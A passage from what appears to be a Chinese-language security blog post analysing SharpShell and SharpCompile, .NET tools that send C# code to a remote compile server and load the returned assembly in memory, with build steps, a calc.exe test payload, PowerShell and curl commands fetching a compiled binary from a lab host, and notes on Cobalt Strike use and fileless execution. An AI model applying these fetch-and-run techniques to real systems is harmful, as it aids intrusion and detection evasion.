git clone https://github.com/cobbr/SharpShell
cd .\SharpShell\SharpShell.API
dotnet build --configuration Release
cd .\bin\Release\netcoreapp2.1
dotnet SharpShell.API.dll
启动SharpShell.API后,访问:http://127.0.0.1:5000/swagger/index.html
(2)SharpShell.API.SharpShell
需要Visual Studio的开发环境,编译后生成文件SharpShell.API.SharpShell.exe
启动后输入测试命令Shell.ShellExecute("whoami");
2.实现流程
这里我使用wireshark抓取整个过程的通信数据,较为直观,如下图
流程如下:
SharpShell.API.SharpShell发送POST请求
SharpShell.API接收POST请求后,回复确认消息HTTP/1.1 100 Continue
SharpShell.API.SharpShell发送JSON格式的代码文件
SharpShell.API接收代码文件,使用Rosyln C#编译器对代码文件进行编译,将生成的内容以base64的形式回复
SharpShell.API.SharpShell将接收到的回复内容作base64解密,调用Assembly.Load()进行加载
综上,SharpShell.API.SharpShell也是调用了Assembly.Load()从内存中加载.NET程序集,同SharpCradle的区别如下:
SharpCradle需要在远程服务器上保存编译后的二进制文件
SharpShell只需要向远程服务器发送代码文件,不需要编译后的二进制文件
0x05 SharpCompile的利用分析
https://github.com/SpiderLabs/SharpCompile
SharpCompile包括以下两部分:
SharpCompileServer
作为http server,用来接收POST请求传来的代码,进行编译后回传生成的二进制文件
这里使用csc.exe编译代码,而不是SharpShell中的Rosyln C#编译器
默认csc.exe版本:C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\csc.exe
这里需要注意http server和本地.NET的版本是否一致
SharpCompile.cna
Cobalt Strike的脚本文件,在使用前需要先指定http server的url和脚本文件保存的位置
默认使用curl将代码文件上传到http server,所以测试环境需要提前安装curl
1.实际测试
(1)开启http server
SharpCompileServer需要Visual Studio的开发环境,编译后生成文件SharpCompileServer.exe
执行SharpCompileServer.exe,开启http server,如下图
(2)http server的功能测试
向http server发送POST格式的代码,查看返回的内容
test.cs保存代码文件,内容如下:
using System;
namespace TestCalc
class Hello
static void Main(string[] args)
System.Diagnostics.Process.Start("calc.exe");
这里分别使用powershell和curl命令进行测试
powershell
Invoke-RestMethod -Uri http://192.168.112.175 -Method Post -InFile .\test.cs -OutFile .\out.exe
以上命令会读取test.cs中的内容,发送至http server(http://192.168.112.175),将返回的文件保存为out.exe
Invoke-RestMethod命令需要Powershell v3.0
curl --request POST --data-binary @test.cs -o out.exe http://192.168.112.175 -v
以上命令会读取test.cs中的内容,发送至http server(http://192.168.112.175),将返回的文件保存为out.exe
这里使用wireshark抓取整个过程的通信数据,如下图
(3)SharpCompile.cna测试
在我的测试环境下,SharpCompile.cna中的exec(@command);
命令无法执行,所以无法复现SharpCompile.cna的功能
2.实现流程
但是SharpCompile.cna的代码逻辑比较直观,实现流程如下:
调用curl命令将代码文件以post的形式发送至http server,接收内容并保存在本地
SharpCompile没有使用Assembly.Load()从内存中加载.NET程序集,而是保存在硬盘执行后删除
这里可以对其进一步修改,使用Assembly.Load()从内存中加载.NET程序集
0x06 三个开源工程的比较和利用思路
SharpCradle需要在远程服务器上保存提前编译好的二进制文件,下载后使用Assembly.Load()从内存中加载.NET程序集
SharpShell.API.SharpShell向远程服务器发送代码文件,服务器使用Rosyln C#编译器生成二进制文件,下载后使用Assembly.Load()从内存中加载.NET程序集
SharpCompile向远程服务器发送代码文件,服务器使用csc.exe生成二进制文件,下载到本地后直接执行
功能最为完整的是SharpShell.API.SharpShell,优点如下:
整个过程在内存执行,不写入文件系统
可生成指定.NET版本的二进制文件
仅需要c#格式的payload,当然也可以使用编译好的二进制文件(只能是.NET程序集)
在利用思路上,Assembly.Load
同execute-assembly
类似,区别在于payload的格式不同
0x07 小结
本文介绍了Assembly.Load的实现方法,结合三个开源工程SharpCradle、SharpShell和SharpCompile,分析细节,总结利用思路。
LEAVE A REPLY